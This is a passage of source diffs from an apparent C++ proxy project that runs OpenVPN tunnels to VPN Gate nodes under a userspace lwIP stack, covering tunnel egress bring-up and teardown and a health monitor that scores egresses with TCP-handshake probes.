ovpn::PacketPipe &pipe_;
};
// ---------------------------------------------------------------------------
// Construction
// ---------------------------------------------------------------------------
std::shared_ptr<TunnelEgress> TunnelEgress::create(asio::io_context &io,
netstack::Stack &stack,
OvpnConfig ovpn_cfg) {
return std::shared_ptr<TunnelEgress>(
new TunnelEgress(io, stack, std::move(ovpn_cfg)));
}
TunnelEgress::TunnelEgress(asio::io_context &io, netstack::Stack &stack,
OvpnConfig ovpn_cfg)
: io_(io),
stack_(stack),
ovpn_cfg_(std::move(ovpn_cfg)),
created_(std::chrono::steady_clock::now()) {
egresses_live()->add(1);
}
TunnelEgress::~TunnelEgress() {
egresses_live()->sub(1);
// The reference count hitting zero is the drain completing (egress.h), so
// this is the normal end of a replaced egress rather than an error path. It
// is also the awkward one: teardown is ordered and asynchronous, and we are
// in a destructor, so there is nothing left to hang the continuation on.
//
// Hence the hand-off. The netif, the tunnel and the link adapter are all
// shared_ptr, and the teardown chain below carries them: this object goes
// away now, the three of them go away in the right order, later. The link in
// particular must outlive the netif's shutdown, because the netif holds it by
// reference (netstack/lwip_stack.h).
auto nif = std::move(netif_);
auto tun = std::move(tunnel_);
auto link = std::move(link_);
const std::string label = label_;
const int64_t age_ms = std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::steady_clock::now() - created_)
.count();
auto stop_tunnel = [tun, link, label, age_ms]() mutable {
auto done = [link, label, age_ms] {
LOG_INFO(kMod, "{}: egress torn down after {} ms", label, age_ms);
};
if (tun) {
tun->stop(std::move(done));
} else {
done();
}
};
if (nif) {
// Netif first, tunnel second. The netif's receive loop reads from the pipe
// that stopping the tunnel closes, and its lwIP teardown still wants to
// send; the reverse order is a use-after-close.
nif->shutdown([nif, stop_tunnel]() mutable { stop_tunnel(); });
} else {
stop_tunnel();
}
}
// ---------------------------------------------------------------------------
// Bring-up
// ---------------------------------------------------------------------------
bool TunnelEgress::start(const vpngate::Node &node,
const vpngate::Remote &remote, ReadyHandler on_ready,
std::string *err) {
node_ = node;
remote_ = remote;
label_ = node.id();
{
std::lock_guard<std::mutex> lk(mu_);
on_ready_ = std::move(on_ready);
}
set_state(EgressState::Connecting, {});
tunnel_ = ovpn::TunnelClient::create(io_, ovpn_cfg_);
auto self = shared_from_this();
const bool ok = tunnel_->start(
node, remote,
[self](ovpn::TunnelState st, const ovpn::TunnelInfo &info,
const std::string &detail) {
self->on_tunnel_state(st, info, detail);
},
err);
if (!ok) {
tunnel_.reset();
set_state(EgressState::Down, err ? *err : "profile unusable");
finish_ready(make_error_code(Error::TunnelSetupFailed),
err ? *err : "profile unusable");
return false;
}
// Valid from here on: the socketpair exists before the worker starts, which
// is why the netstack never has to race the CONNECTED event.
link_ = std::make_shared<LinkAdapter>(tunnel_->pipe());
tunnels_started()->inc();
LOG_INFO(kMod, "{}: connecting to {}:{}/{}", label_, remote.host, remote.port,
vpngate::proto_name(remote.proto));
return true;
}
void TunnelEgress::on_tunnel_state(ovpn::TunnelState st,
const ovpn::TunnelInfo &info,
const std::string &detail) {
switch (st) {
case ovpn::TunnelState::Up: {
{
std::lock_guard<std::mutex> lk(mu_);
info_ = info;
if (netif_) return; // already attached; a re-Up after Reconnecting
}
if (!info.usable()) {
set_state(EgressState::Down, "server pushed no usable IPv4 config");
finish_ready(make_error_code(Error::TunnelSetupFailed),
"server pushed no usable IPv4 config");
return;
}
attach_netif(info);
break;
}
case ovpn::TunnelState::Reconnecting:
// The tun fd survives (tunPersist), so the netif and every PCB on it stay
// exactly as they are. Packets are dropped meanwhile, which TCP treats as
// congestion -- the correct behaviour, and the reason this is not a state
// change the layers above need to see.
LOG_INFO(kMod, "{}: tunnel reconnecting: {}", label_, detail);
break;
case ovpn::TunnelState::Down: {
LOG_WARN(kMod, "{}: tunnel down: {}", label_, detail);
const bool was_ready = state() == EgressState::Ready;
set_state(EgressState::Down, detail);
// Aborts every live stream with Error::EgressGone rather than leaving
// them parked on a tunnel that is not coming back.
std::shared_ptr<netstack::Netif> nif;
{
std::lock_guard<std::mutex> lk(mu_);
nif = netif_;
}
if (nif) nif->shutdown();
if (!was_ready) {
finish_ready(make_error_code(Error::TunnelSetupFailed), detail);
}
break;
}
case ovpn::TunnelState::Connecting:
case ovpn::TunnelState::Idle:
break;
}
}
void TunnelEgress::attach_netif(const ovpn::TunnelInfo &info) {
netstack::NetifConfig cfg;
if (auto a = IpAddress::parse(info.ipv4)) cfg.address = *a;
cfg.prefix = info.prefix4;
if (!info.gateway4.empty()) {
if (auto g = IpAddress::parse(info.gateway4)) cfg.gateway = *g;
}
cfg.mtu = info.mtu;
for (const auto &d : info.dns) {
// v6 servers are dropped rather than carried: lwIP here is v4-only, so a
// query sent to one would have nowhere to go (lwip_stack.h).
if (auto a = IpAddress::parse(d); a && a->is_v4()) cfg.dns.push_back(*a);
}
cfg.label = label_;
auto self = shared_from_this();
stack_.async_attach(
*link_, cfg, io_.get_executor(),
[self](const std::error_code &ec, std::shared_ptr<netstack::Netif> nif) {
if (ec) {
const std::string why =
ec == make_error_code(Error::ResourceExhausted)
? "tunnel address collides with a draining egress"
: ec.message();
LOG_WARN(kMod, "{}: netif attach failed: {}", self->label_, why);
self->set_state(EgressState::Down, why);
if (self->tunnel_) self->tunnel_->stop();
self->finish_ready(ec, why);
return;
}
{
std::lock_guard<std::mutex> lk(self->mu_);
self->netif_ = std::move(nif);
}
self->ready_at_ = std::chrono::steady_clock::now();
self->set_state(EgressState::Ready, {});
tunnels_ready()->inc();
LOG_INFO(kMod, "{}: egress ready ({} ms to bring up)", self->label_,
std::chrono::duration_cast<std::chrono::milliseconds>(
self->ready_at_ - self->created_)
.count());
self->finish_ready({}, {});
});
}
void TunnelEgress::finish_ready(const std::error_code &ec,
const std::string &detail) {
ReadyHandler h;
{
std::lock_guard<std::mutex> lk(mu_);
if (ready_reported_) return;
ready_reported_ = true;
h = std::move(on_ready_);
on_ready_ = nullptr;
}
if (ec) tunnels_failed()->inc();
if (h) asio::post(io_, [h = std::move(h), ec, detail] { h(ec, detail); });
}
void TunnelEgress::set_state(EgressState s, const std::string &detail) {
std::lock_guard<std::mutex> lk(mu_);
// Down is terminal. Without this, a late callback from the core could walk a
// dead egress back to Ready and the manager would hand it out again.
if (state_ == EgressState::Down) return;
state_ = s;
if (!detail.empty()) detail_ = detail;
}
// ---------------------------------------------------------------------------
// Egress
// ---------------------------------------------------------------------------
EgressState TunnelEgress::state() const {
std::lock_guard<std::mutex> lk(mu_);
return state_;
}
std::string TunnelEgress::detail() const {
std::lock_guard<std::mutex> lk(mu_);
return detail_;
}
ovpn::TunnelInfo TunnelEgress::tunnel_info() const {
std::lock_guard<std::mutex> lk(mu_);
return info_;
}
void TunnelEgress::async_connect_tcp(const asio::any_io_executor &ex,
const Endpoint &target, Millis timeout,
ConnectHandler h) {
std::shared_ptr<netstack::Netif> nif;
EgressState st;
{
std::lock_guard<std::mutex> lk(mu_);
nif = netif_;
st = state_;
}
if (st != EgressState::Ready || !nif) {
const auto ec = make_error_code(st == EgressState::Draining
? Error::EgressDraining
: Error::NotConnected);
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
return;
}
if (!target.is_domain()) {
nif->async_connect_tcp(target.address(), target.port(), timeout, ex,
std::move(h));
return;
}
// Resolve through this egress, so the lookup goes down the same tunnel the
// connection will. Doing it at the caller would leak the name to the host
// resolver, which is the exact failure this whole design is meant to avoid.
const uint16_t port = target.port();
auto self = shared_from_this();
async_resolve(ex, target.domain(),
[self, nif, port, timeout, ex, h = std::move(h)](
const std::error_code &ec,
std::vector<IpAddress> addrs) mutable {
if (ec || addrs.empty()) {
const auto fail =
ec ? ec : make_error_code(Error::ResolveFailed);
asio::post(ex, [h = std::move(h), fail]() mutable {
h(fail, nullptr);
});
return;
}
nif->async_connect_tcp(addrs.front(), port, timeout, ex,
std::move(h));
});
}
void TunnelEgress::async_bind_udp(const asio::any_io_executor &ex,
UdpBindHandler h) {
std::shared_ptr<netstack::Netif> nif;
EgressState st;
{
std::lock_guard<std::mutex> lk(mu_);
nif = netif_;
st = state_;
}
if (st != EgressState::Ready || !nif) {
const auto ec = make_error_code(st == EgressState::Draining
? Error::EgressDraining
: Error::NotConnected);
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
return;
}
nif->async_open_udp(ex, std::move(h));
}
std::shared_ptr<netstack::Resolver> TunnelEgress::resolver() {
std::lock_guard<std::mutex> lk(mu_);
if (resolver_) return resolver_;
if (!netif_) return nullptr;
// Held strongly here, unlike inside Netif (which holds it weakly to avoid a
// cycle): the egress is exactly the "for the tunnel's lifetime" owner that
// Netif::resolver() documents.
resolver_ = netif_->resolver();
return resolver_;
}
void TunnelEgress::async_resolve(const asio::any_io_executor &ex,
const std::string &host, ResolveHandler h) {
auto r = resolver();
if (!r) {
asio::post(ex, [h = std::move(h)]() mutable {
h(make_error_code(Error::NotConnected), {});
});
return;
}
// The DNS resolver completes on its own strand, so hop to the caller's
// executor here rather than making every call site remember to.
r->async_resolve(host, [ex, h = std::move(h)](const std::error_code &ec,
std::vector<IpAddress> a) mutable {
asio::post(ex, [h = std::move(h), ec, a = std::move(a)]() mutable {
h(ec, std::move(a));
});
});
}
EgressStats TunnelEgress::stats() const {
EgressStats s;
std::shared_ptr<netstack::Netif> nif;
{
std::lock_guard<std::mutex> lk(mu_);
nif = netif_;
s.server_ip = info_.server_ip;
s.local_address = info_.ipv4;
}
s.node_id = node_.id();
s.node_country = node_.country_short;
s.proto = vpngate::proto_name(remote_.proto);
s.uptime_ms = std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::steady_clock::now() - created_)
.count();
if (tunnel_) {
const auto c = tunnel_->counters();
s.tun_bytes_in = static_cast<uint64_t>(std::max<int64_t>(c.tun_bytes_in, 0));
s.tun_bytes_out =
static_cast<uint64_t>(std::max<int64_t>(c.tun_bytes_out, 0));
s.transport_bytes_in =
static_cast<uint64_t>(std::max<int64_t>(c.transport_bytes_in, 0));
s.transport_bytes_out =
static_cast<uint64_t>(std::max<int64_t>(c.transport_bytes_out, 0));
s.last_packet_received_ms = c.last_packet_received_ms;
}
if (nif) {
const auto n = nif->stats();
s.tcp_opened = n.tcp_opened;
s.tcp_failed = n.tcp_failed;
s.tcp_active = n.tcp_active;
s.udp_active = n.udp_active;
s.rx_packets = n.rx_packets;
s.tx_packets = n.tx_packets;
s.tx_dropped = n.tx_dropped;
s.rx_malformed = n.rx_malformed;
s.rx_dropped = n.rx_dropped;
}
return s;
}
void TunnelEgress::begin_drain() {
std::lock_guard<std::mutex> lk(mu_);
if (state_ == EgressState::Ready) {
state_ = EgressState::Draining;
LOG_INFO(kMod, "{}: draining", label_);
}
}
void TunnelEgress::shutdown(std::function<void()> on_done) {
set_state(EgressState::Down, "shutdown requested");
std::shared_ptr<netstack::Netif> nif;
{
std::lock_guard<std::mutex> lk(mu_);
nif = netif_;
resolver_.reset();
}
auto self = shared_from_this();
auto stop_tunnel = [self, on_done = std::move(on_done)]() mutable {
if (!self->tunnel_) {
if (on_done) asio::post(self->io_, std::move(on_done));
return;
}
self->tunnel_->stop(std::move(on_done));
};
if (!nif) {
stop_tunnel();
return;
}
// Netif first, tunnel second, and strictly in that order: the netif's receive
// loop reads from the pipe that TunnelClient::stop() closes, and its lwIP
// teardown still wants to send. Reversing this is a use-after-close.
nif->shutdown([stop_tunnel = std::move(stop_tunnel)]() mutable {
stop_tunnel();
});
}
} // namespace ovg::egress
+141
View File
@@ -0,0 +1,141 @@
// An OpenVPN session plus the userspace TCP/IP stack that rides on it.
//
// This is the file where the two halves of the program finally meet, and it is
// deliberately the only one. `ovpn` knows nothing about lwIP; `netstack` knows
// nothing about OpenVPN -- it takes a PacketLink (netstack/packet_link.h) and
// asks only that something hand it whole IP packets. The adapter that makes an
// ovpn::PacketPipe satisfy that interface lives in the .cpp and is about thirty
// lines. That thinness is the point: it is what keeps either side replaceable.
//
// ---------------------------------------------------------------------------
// Bring-up order
// ---------------------------------------------------------------------------
// 1. TunnelClient::start() opens the socketpair and launches the worker. The
// pipe is valid immediately, before the tunnel is up.
// 2. The worker reports Up with a TunnelInfo (address, prefix, DNS, MTU).
// 3. Only then do we attach a netif: lwIP cannot be given an address the
// server has not pushed yet, and guessing one would be worse than waiting.
// 4. The egress becomes Ready, and only from that moment does it accept work.
//
// Step 3 can fail with Error::ResourceExhausted when the pushed address
// collides with a netif that is still draining (lwip_stack.h explains why lwIP
// cannot tell two identical addresses apart). That is not a defect to route
// around here -- it is reported up to the switch controller, which downgrades
// the pending graceful switch to a hard one.
//
// ---------------------------------------------------------------------------
// What "Down" means
// ---------------------------------------------------------------------------
// openvpn3 reconnects on its own and keeps the tun fd across the gap
// (tunPersist), so a transient loss shows up as Reconnecting and the netif
// stays. We only go Down when the core gives up for good, and at that point
// every live stream is aborted with Error::EgressGone rather than left hanging
// on a tunnel that will not come back.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <chrono>
#include <memory>
#include <mutex>
#include <string>
#include "common/config.h"
#include "egress/egress.h"
#include "netstack/lwip_stack.h"
#include "ovpn/tunnel_client.h"
#include "vpngate/node.h"
namespace ovg::egress {
class TunnelEgress final : public Egress,
public std::enable_shared_from_this<TunnelEgress> {
public:
// Reports the egress reaching a terminal-ish state. Runs on `io`.
// ready -> usable; the switch controller may promote it
// !ready -> failed or died; `detail` says why, `ec` classifies it
using ReadyHandler =
std::function<void(const std::error_code &ec, const std::string &detail)>;
// No timeout parameter: bring-up is bounded by OvpnConfig's
// tunnel_up_timeout_s, which TunnelClient already enforces. A second timer
// here would be a second policy for the same question, and the two would
// drift.
static std::shared_ptr<TunnelEgress> create(asio::io_context &io,
netstack::Stack &stack,
OvpnConfig ovpn_cfg);
~TunnelEgress() override;
TunnelEgress(const TunnelEgress &) = delete;
TunnelEgress &operator=(const TunnelEgress &) = delete;
// Starts the session and drives it to Ready. `on_ready` fires exactly once:
// with no error when the netif is up, or with one when the tunnel failed to
// come up, timed out, or could not be given a netif. Subsequent failures
// (the tunnel dying later) move the state to Down and are visible through
// state()/detail(); they do not re-invoke `on_ready`.
//
// Returns false without starting anything if the node's profile is unusable.
bool start(const vpngate::Node &node, const vpngate::Remote &remote,
ReadyHandler on_ready, std::string *err);
// Egress
void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &target,
Millis timeout, ConnectHandler h) override;
void async_bind_udp(const asio::any_io_executor &ex,
UdpBindHandler h) override;
void async_resolve(const asio::any_io_executor &ex, const std::string &host,
ResolveHandler h) override;
EgressState state() const override;
EgressStats stats() const override;
std::string detail() const override;
void begin_drain() override;
void shutdown(std::function<void()> on_done = {}) override;
const std::string &label() const override { return label_; }
// What the server pushed. Empty until Ready.
ovpn::TunnelInfo tunnel_info() const;
const vpngate::Node &node() const { return node_; }
private:
class LinkAdapter;
TunnelEgress(asio::io_context &io, netstack::Stack &stack,
OvpnConfig ovpn_cfg);
void on_tunnel_state(ovpn::TunnelState st, const ovpn::TunnelInfo &info,
const std::string &detail);
void attach_netif(const ovpn::TunnelInfo &info);
void set_state(EgressState s, const std::string &detail);
void finish_ready(const std::error_code &ec, const std::string &detail);
std::shared_ptr<netstack::Resolver> resolver();
asio::io_context &io_;
netstack::Stack &stack_;
OvpnConfig ovpn_cfg_;
std::string label_ = "(unstarted)";
vpngate::Node node_;
vpngate::Remote remote_;
std::shared_ptr<ovpn::TunnelClient> tunnel_;
// shared_ptr, not unique_ptr: Stack::async_attach takes the link by reference
// and the Netif keeps that reference, so the link has to survive until the
// netif's shutdown has completed -- which is after this object is gone when
// the last session reference is what triggered the teardown.
std::shared_ptr<LinkAdapter> link_;
std::shared_ptr<netstack::Netif> netif_;
std::shared_ptr<netstack::Resolver> resolver_;
std::chrono::steady_clock::time_point created_;
std::chrono::steady_clock::time_point ready_at_{};
mutable std::mutex mu_; // guards state_, detail_, netif_, resolver_, info_
EgressState state_ = EgressState::Idle;
std::string detail_;
ovpn::TunnelInfo info_;
ReadyHandler on_ready_;
bool ready_reported_ = false;
};
} // namespace ovg::egress
+395
View File
@@ -0,0 +1,395 @@
#include "health/health_monitor.h"
#include <algorithm>
#include <cmath>
#include <utility>
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
namespace ovg::health {
namespace {
constexpr const char *kMod = "health";
// How many samples to keep for /status. Twenty rounds at the default 15s is
// five minutes of history -- enough to see a degradation coming, small enough
// that nobody has to think about the memory.
constexpr size_t kHistoryDepth = 20;
// RTT above this scores zero. Not a timeout: a 1.2s handshake through a
// volunteer tunnel is still usable, it just should not outrank a 40ms one.
constexpr double kRttFloorMs = 1000.0;
// Term weights. See the header for why they are these and not others.
constexpr double kWRtt = 0.35;
constexpr double kWConnect = 0.30;
constexpr double kWStall = 0.20;
constexpr double kWLoss = 0.15;
metrics::Gauge *g_score() {
static auto *g = metrics::gauge("ovg_health_score_milli",
"Egress health score x1000 (0..1000)");
return g;
}
metrics::Gauge *g_rtt() {
static auto *g =
metrics::gauge("ovg_health_probe_rtt_ms", "In-tunnel probe RTT, ms");
return g;
}
metrics::Counter *m_rounds() {
static auto *c =
metrics::counter("ovg_health_rounds_total", "Health sampling rounds");
return c;
}
metrics::Counter *m_probe_failed() {
static auto *c = metrics::counter("ovg_health_probe_failed_total",
"Health probes that did not complete");
return c;
}
metrics::Counter *m_unhealthy() {
static auto *c =
metrics::counter("ovg_health_unhealthy_total",
"Sustained unhealthy verdicts reported upstream");
return c;
}
double clamp01(double v) { return v < 0.0 ? 0.0 : (v > 1.0 ? 1.0 : v); }
} // namespace
HealthMonitor::HealthMonitor(asio::io_context &io, HealthConfig cfg,
EgressProvider acquire)
: io_(io),
cfg_(std::move(cfg)),
acquire_(std::move(acquire)),
strand_(asio::make_strand(io)),
timer_(strand_),
probe_timer_(strand_) {}
HealthMonitor::~HealthMonitor() { stop(); }
void HealthMonitor::set_on_unhealthy(UnhealthyHandler h) {
on_unhealthy_ = std::move(h);
}
void HealthMonitor::start() {
if (running_.exchange(true, std::memory_order_acq_rel)) return;
LOG_INFO(kMod, "monitor started: every {}ms, probe {}:{} within {}ms, "
"unhealthy after {} consecutive windows below {:.2f}",
cfg_.interval.count(), cfg_.probe_domain, cfg_.probe_port,
cfg_.probe_timeout.count(), cfg_.unhealthy_windows, cfg_.min_score);
asio::post(strand_, [this] { arm(); });
}
void HealthMonitor::stop() {
if (!running_.exchange(false, std::memory_order_acq_rel)) return;
asio::post(strand_, [this] {
timer_.cancel();
probe_timer_.cancel();
});
}
void HealthMonitor::probe_now() {
asio::post(strand_, [this] {
if (!running_.load(std::memory_order_acquire)) return;
timer_.cancel();
run_round();
});
}
void HealthMonitor::arm() {
if (!running_.load(std::memory_order_acquire)) return;
timer_.expires_after(cfg_.interval);
timer_.async_wait([this](const std::error_code &ec) {
// A cancel means probe_now() took over the round; it re-arms itself.
if (ec) return;
run_round();
});
}
void HealthMonitor::run_round() {
if (!running_.load(std::memory_order_acquire)) return;
if (probe_in_flight_) {
// The previous probe has not come back. Do not stack a second one -- that
// would measure queueing, not the tunnel.
arm();
return;
}
egress::EgressPtr eg = acquire_ ? acquire_() : nullptr;
if (!eg) {
Sample s;
s.at = Clock::now();
s.verdict = "no egress available";
publish(std::move(s));
arm();
return;
}
const auto state = eg->state();
if (state != egress::EgressState::Ready) {
// The veto. Probing a tunnel that is down measures the timeout, and the
// answer is already known.
Sample s;
s.at = Clock::now();
s.egress_present = true;
s.egress_label = eg->label();
s.verdict = fmt::format("egress is {}{}{}",
egress::egress_state_name(state),
eg->detail().empty() ? "" : ": ", eg->detail());
publish(std::move(s));
arm();
return;
}
// A literal in `probe_domain` is normalised here so the egress is not asked
// to resolve something that is already an address.
const auto literal = IpAddress::parse(cfg_.probe_domain);
const Endpoint target = literal
? Endpoint(*literal, cfg_.probe_port)
: Endpoint(cfg_.probe_domain, cfg_.probe_port);
probe_in_flight_ = true;
const auto t0 = Clock::now();
// `done` closes the race between the egress's own timeout and ours. Both
// fire on this strand, so a plain bool is enough -- but exactly one of them
// may publish, or the round is counted twice.
auto done = std::make_shared<bool>(false);
// A guard, not the real deadline: the egress is given `probe_timeout` and is
// expected to honour it. This only catches a backend that loses a handler
// altogether, which would otherwise wedge the monitor forever.
probe_timer_.expires_after(cfg_.probe_timeout + std::chrono::seconds(2));
probe_timer_.async_wait([this, done, eg](const std::error_code &ec) {
if (ec || *done) return;
*done = true;
LOG_WARN(kMod, "probe to {} never completed; treating as failed",
cfg_.probe_domain);
finish_probe(eg, -1.0, false, "probe abandoned");
});
eg->async_connect_tcp(
strand_, target, cfg_.probe_timeout,
[this, done, eg, t0](const std::error_code &ec,
netstack::TcpStreamPtr stream) {
if (*done) {
if (stream) stream->close();
return;
}
*done = true;
probe_timer_.cancel();
const double rtt =
std::chrono::duration<double, std::milli>(Clock::now() - t0)
.count();
// The handshake *is* the measurement; there is nothing to say to the
// far end, so the stream goes straight back.
if (stream) stream->close();
finish_probe(eg, ec ? -1.0 : rtt, !ec, ec ? ec.message() : "");
});
}
void HealthMonitor::update_stall(const egress::EgressStats &st, Sample *out) {
const uint64_t moved = st.tun_bytes_in + st.tun_bytes_out +
st.transport_bytes_in + st.transport_bytes_out;
if (moved != 0) traffic_ever_seen_ = true;
// A different egress means a fresh baseline; carrying the old one over would
// report the new tunnel as stalled from the moment it was promoted.
if (st.node_id != stall_label_) {
stall_label_ = st.node_id;
stall_bytes_ = moved;
stall_since_ = Clock::now();
traffic_ever_seen_ = moved != 0;
}
// No byte accounting at all (the direct egress keeps none): the signal is
// unavailable, which is not the same as bad. Leave stall_known false and let
// the scorer renormalise around it.
if (!traffic_ever_seen_) return;
out->stall_known = true;
if (moved != stall_bytes_) {
stall_bytes_ = moved;
stall_since_ = Clock::now();
return;
}
// Idle is not stalled. With nothing in flight there is nothing to stall.
if (st.tcp_active <= 0 && st.udp_active <= 0) {
stall_since_ = Clock::now();
return;
}
out->stalled_ms = std::chrono::duration_cast<std::chrono::milliseconds>(
Clock::now() - stall_since_)
.count();
}
void HealthMonitor::finish_probe(egress::EgressPtr eg, double rtt_ms, bool ok,
const std::string &probe_note) {
probe_in_flight_ = false;
if (!ok) m_probe_failed()->inc();
const auto st = eg->stats();
Sample s;
s.at = Clock::now();
s.egress_present = true;
s.egress_label = eg->label();
s.tunnel_up = true;
s.probe_ok = ok;
s.rtt_ms = rtt_ms;
s.connect_failure_rate = st.connect_failure_rate();
const uint64_t tx_total = st.tx_packets + st.tx_dropped;
const uint64_t rx_total = st.rx_packets + st.rx_dropped + st.rx_malformed;
const double tx_loss =
tx_total == 0 ? 0.0 : static_cast<double>(st.tx_dropped) / tx_total;
const double rx_loss =
rx_total == 0
? 0.0
: static_cast<double>(st.rx_dropped + st.rx_malformed) / rx_total;
s.loss_rate = std::max(tx_loss, rx_loss);
update_stall(st, &s);
// ---- score ---------------------------------------------------------------
// Terms whose input is missing are dropped and the rest renormalised, so an
// unavailable signal never reads as a failing one.
double weighted = 0.0, weight = 0.0;
const double rtt_term = ok ? clamp01(1.0 - rtt_ms / kRttFloorMs) : 0.0;
weighted += kWRtt * rtt_term;
weight += kWRtt;
const double connect_term = clamp01(1.0 - s.connect_failure_rate);
weighted += kWConnect * connect_term;
weight += kWConnect;
if (s.stall_known) {
const double frac =
cfg_.stall_threshold.count() <= 0
? 0.0
: static_cast<double>(s.stalled_ms) / cfg_.stall_threshold.count();
weighted += kWStall * clamp01(1.0 - frac);
weight += kWStall;
}
// Loss counters only exist behind the netstack; zeros from a direct egress
// are genuine zeros, so this term is always available.
weighted += kWLoss * clamp01(1.0 - s.loss_rate * 4.0); // 25% loss => zero
weight += kWLoss;
s.score = weight > 0.0 ? weighted / weight : 0.0;
// Two hard rules that override the blend. A failed probe means no traffic is
// getting through at all, and a connect failure rate past the configured
// ceiling means sessions are already failing -- neither should be able to be
// averaged back into "fine" by a healthy-looking loss counter.
if (!ok) {
s.score = std::min(s.score, cfg_.min_score / 2.0);
s.verdict = "probe failed" + (probe_note.empty() ? "" : ": " + probe_note);
} else if (s.connect_failure_rate > cfg_.max_connect_failure_rate) {
s.score = std::min(s.score, cfg_.min_score / 2.0);
s.verdict = fmt::format("connect failure rate {:.0f}% over ceiling {:.0f}%",
s.connect_failure_rate * 100.0,
cfg_.max_connect_failure_rate * 100.0);
} else if (s.stall_known && s.stalled_ms >= cfg_.stall_threshold.count()) {
s.verdict = fmt::format("no byte progress for {}ms with {} live stream(s)",
s.stalled_ms, st.tcp_active + st.udp_active);
} else {
s.verdict = fmt::format("rtt {:.0f}ms, connect ok {:.0f}%, loss {:.1f}%",
rtt_ms, (1.0 - s.connect_failure_rate) * 100.0,
s.loss_rate * 100.0);
}
publish(std::move(s));
arm();
}
void HealthMonitor::publish(Sample s) {
s.healthy = s.score >= cfg_.min_score;
int bad = 0;
uint64_t round = 0;
{
std::lock_guard<std::mutex> lk(mu_);
rounds_++;
round = rounds_;
consecutive_bad_ = s.healthy ? 0 : consecutive_bad_ + 1;
bad = consecutive_bad_;
history_.push_back(s);
if (history_.size() > kHistoryDepth) history_.pop_front();
}
m_rounds()->inc();
g_score()->set(static_cast<int64_t>(s.score * 1000.0));
g_rtt()->set(s.rtt_ms < 0 ? -1 : static_cast<int64_t>(s.rtt_ms));
if (s.healthy) {
LOG_DEBUG(kMod, "round {}: {} score {:.2f} -- {}", round,
s.egress_label.empty() ? "-" : s.egress_label, s.score,
s.verdict);
return;
}
LOG_WARN(kMod, "round {}: {} score {:.2f} below {:.2f} ({}/{}) -- {}", round,
s.egress_label.empty() ? "-" : s.egress_label, s.score,
cfg_.min_score, bad, cfg_.unhealthy_windows, s.verdict);
if (bad < cfg_.unhealthy_windows) return;
// Sustained. Report once and reset the counter: the switch it triggers takes
// longer than one interval, and re-reporting every round would queue up
// switch requests for a decision that has already been made.
{
std::lock_guard<std::mutex> lk(mu_);
consecutive_bad_ = 0;
}
m_unhealthy()->inc();
const std::string why =
fmt::format("{} unhealthy for {} consecutive windows: {}",
s.egress_label.empty() ? "egress" : s.egress_label,
cfg_.unhealthy_windows, s.verdict);
LOG_ERROR(kMod, "{}", why);
if (on_unhealthy_) on_unhealthy_(why);
}
Sample HealthMonitor::last() const {
std::lock_guard<std::mutex> lk(mu_);
if (history_.empty()) return {};
Sample s = history_.back();
s.age_ms =
std::chrono::duration_cast<std::chrono::milliseconds>(Clock::now() - s.at)
.count();
return s;
}
std::vector<Sample> HealthMonitor::recent(size_t n) const {
std::vector<Sample> out;
const auto now = Clock::now();
std::lock_guard<std::mutex> lk(mu_);
const size_t take = std::min(n, history_.size());
out.reserve(take);
for (size_t i = history_.size() - take; i < history_.size(); ++i) {
Sample s = history_[i];
s.age_ms =
std::chrono::duration_cast<std::chrono::milliseconds>(now - s.at)
.count();
out.push_back(std::move(s));
}
return out;
}
int HealthMonitor::consecutive_bad() const {
std::lock_guard<std::mutex> lk(mu_);
return consecutive_bad_;
}
uint64_t HealthMonitor::rounds() const {
std::lock_guard<std::mutex> lk(mu_);
return rounds_;
}
} // namespace ovg::health
+163
View File
@@ -0,0 +1,163 @@
// L2 health checking: is the *current* egress still worth keeping?
//
// ---------------------------------------------------------------------------
// Two layers, and this is only the second
// ---------------------------------------------------------------------------
// L1 is openvpn3's own ping/ping-restart reconnect. It happens inside the
// session, the tun fd survives it (tunPersist), and lwIP never notices -- so it
// costs nothing and covers the overwhelming majority of transient trouble. Do
// not duplicate it here.
//
// L2 is "this node is not coming back, find another one". It is expensive: a
// switch drops every session that has already moved bytes. So the bar has to be
// high, and it has to be *sustained* -- `unhealthy_windows` consecutive bad
// samples, not one. A single 5s blip on a volunteer-run VPN in another country
// is normal weather (docs/ARCHITECTURE.md §7).
//
// ---------------------------------------------------------------------------
// Why the probe is a TCP handshake and not a DNS lookup
// ---------------------------------------------------------------------------
// The obvious in-tunnel RTT probe is a timed DNS query. It is also wrong: both
// resolvers we ship cache, so the second query onwards is answered from memory
// in ~0ms without a single byte crossing the tunnel. That reports a *dead*
// tunnel as the healthiest thing in the fleet -- the exact failure the monitor
// exists to catch.
//
// So the probe dials `probe_domain:probe_port` through the egress and drops the
// stream the moment it is up. A handshake cannot be served from a cache, it
// exercises the same path a real session uses, and its timing is a genuine
// round trip. The name lookup still happens inside it, so a broken in-tunnel
// resolver still shows up -- as a failed probe rather than a slow one.
//
// ---------------------------------------------------------------------------
// Scoring, and what happens when a signal is not available
// ---------------------------------------------------------------------------
// Four weighted terms in [0,1], plus one veto:
//
// veto egress absent or not Ready -> score 0, no probe attempted
// rtt probe latency, 0ms..1000ms -> 0.35
// connect SOCKS5 CONNECT success rate -> 0.30
// stall active sessions but no byte motion -> 0.20
// loss netstack drop counters -> 0.15
//
// The stall term needs byte counters the direct egress does not keep (it has no
// single aggregate to report, egress/egress.h). Rather than let a permanent
// zero read as a permanent stall, a term whose input is unavailable is dropped
// and the remaining weights are renormalised. A missing signal must not be
// scored as a bad one.
//
// ---------------------------------------------------------------------------
// Threading
// ---------------------------------------------------------------------------
// Everything runs on an internal strand. `last()`/`recent()` take a short mutex
// and are callable from the admin thread. The unhealthy handler is invoked on
// the strand; SwitchController forwards it straight to EgressManager, which has
// its own.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <chrono>
#include <cstdint>
#include <deque>
#include <functional>
#include <mutex>
#include <string>
#include <vector>
#include "common/config.h"
#include "common/strand_deleter.h" // ovg::Strand
#include "egress/egress.h"
namespace ovg::health {
using Clock = std::chrono::steady_clock;
// One sampling round. Kept whole (rather than reduced to a bool) because "why
// did it decide that" is the only question anyone asks of a health check.
struct Sample {
int64_t age_ms = 0; // how long ago this was taken, filled in on read
std::string egress_label;
bool egress_present = false;
bool tunnel_up = false;
